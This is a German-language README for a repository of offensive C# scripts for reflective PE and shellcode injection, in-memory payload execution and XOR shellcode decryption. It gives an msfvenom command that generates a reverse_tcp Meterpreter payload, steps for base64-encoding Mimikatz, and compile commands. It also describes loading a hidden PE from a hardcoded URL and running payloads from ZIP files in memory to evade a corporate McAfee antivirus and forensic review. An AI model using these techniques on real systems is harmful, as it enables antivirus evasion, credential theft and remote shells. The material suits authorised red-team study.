
C#-Offensivskripte für reflektierende PE- und Shellcode-Injektion, In-Memory-Payload-Ausführung, XOR-Brute-Force-Shellcode-Entschlüsselung und .NET-Assembly-Parsing.
Autor: Arno0x0x - @Arno0x0x
Dieses Repository dient der Veröffentlichung einiger meiner C#-Skripte. Einige sind lediglich von anderen Skripten abgeleitet oder inspiriert, die ich hier und dort gefunden habe, und ich habe sie an meine Bedürfnisse angepasst oder einfach zum Lernen und Verbessern.
bfDecryptShellcode.cs
Dieses Skript ist ein etwas einfacher und wahrscheinlich nicht sehr nützlicher PoC für die Brute-Force-Entschlüsselung eines mehrbyte-XOR-verschlüsselten Shellcodes. Sobald der Shellcode entschlüsselt ist, wird er in den Speicher geladen und ausgeführt.
Um es zu verwenden, benötigen Sie zwei Dinge:
Beides können Sie mit meinem ShellcodeWrapper-Projekt erhalten, indem Sie es mit einer beliebigen rohen Metasploit-Nutzlast füttern.
parseAssembly.cs
Diese Konsolenanwendung lädt dynamisch eine .Net-Assembly (exe oder dll), entweder aus einer lokalen Datei oder von einer URL heruntergeladen, optional base64-kodiert. Nach dem Laden zählt sie deren Typen, Methoden und Eigenschaften auf.
Beispiele:
parseAssembly.exe myAssembly.dll
oder
parseAssembly.exe http://some.site.com/myAssembly base64
Dies ist eine Sammlung von Skripten, die von Casey Smiths (@subTee) Arbeit zur reflektierenden Injektion von PE oder Shellcode in den aufrufenden Prozess aus verschiedenen Quellen adaptiert wurden.
peloader.cs
Dieses Skript lädt eine base64-kodierte x64-PE-Datei (zum Beispiel: Mimikatz oder ein Meterpreter) in den Speicher des Prozesses und führt sie reflektierend aus. Die PE wird als base64-String-Variable am Anfang der Datei übergeben (ja, sie ist fest einprogrammiert).
Sie können diesen base64-kodierten String aus einer beliebigen Datei mit folgendem *nix-Kommandozeilenbefehl erzeugen:
root@kali:~# base64 -w 0 mimikatz.exe > mimikatz.b64
Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .Net-Framework (standardmäßig ab Windows 7 installiert):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:peloader.exe peloader.cs
shellcodelauncher.cs
Dieses Skript führt Shellcode in den Speicher des Prozesses aus und führt ihn reflektiv aus. Der Shellcode wird als Byte-Array in einer Variablen übergeben. Sie können den passenden Code für dieses Array automatisch mit dem msfvenom-Dienstprogramm von Metasploit generieren lassen. Um beispielsweise einen reverse_tcp-Meterpreter-Shellcode zu erzeugen:
root@kali:~# msfvenom -a x86_64 -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.52.130 LPORT=4444 -f csharp
Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .NET Framework (standardmäßig ab Windows 7 installiert):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shellcodeLauncher.exe shellcodeLauncher.cs
runfromzipinmemory.cs
Dieses Skript basiert stark und in beschämender Weise auf der Arbeit von Casey Smith (@subTee) an Netkatz, ist davon inspiriert und abgeleitet.
Ich habe festgestellt, dass der lokale Virenscanner (McAfee) auf meiner Firmen-Workstation so konfiguriert ist, dass er den Inhalt einer ZIP-Datei NICHT analysiert, vermutlich unter der Annahme, dass dieser Inhalt, wann immer er gelesen oder ausgeführt werden soll, normalerweise zuerst irgendwo auf der Festplatte entpackt würde und etwaige schädliche Inhalte zu diesem Zeitpunkt vom AV erkannt würden.
Was dieses Skript tut, ist, alles in den Speicher zu laden und nur von dort aus zu arbeiten, wobei zusätzlich Reflection verwendet wird, um eine PE aus dem Speicher des aufrufenden Prozesses auszuführen.
So schlägt der AV nicht nur überhaupt nicht an, sondern aus forensischer Sicht sieht der einzige „sichtbar laufende Prozess" vollkommen unschuldig aus.
Das Kompilieren des Skripts auf einer Windows-Maschine erfordert das .Net-Framework (standardmäßig installiert ab Windows 7):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /reference:System.IO.Compression.dll /out:runfromzipinmemory.exe runfromzipinmemory.cs
Sie können dann ausführen:
unfromzipinmemory.exe <zip_file> <exe_from_zip_file_to_be_executed>
netPEloader.cs
Dieses Skript basiert stark auf der Arbeit von Casey Smith (@subTee) an Netkatz und ist von ihr inspiriert.
Netkatz ist ein fantastischer PoC, der die neueste Mimikatz-Version von GitHub lädt und direkt im Speicher ausführt. In meiner Umgebung stand ich jedoch vor drei Problemen:
Daher habe ich das ursprüngliche netkatz-Skript angepasst, um diese drei Probleme zu beheben:
Die URL, von der das versteckte PE heruntergeladen wird, ist im Skript fest codiert.
Das Kompilieren des Skripts auf einem Windows-Rechner erfordert das .NET Framework (standardmäßig ab Windows 7 installiert):
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:netPEloader.exe netPEloader.cs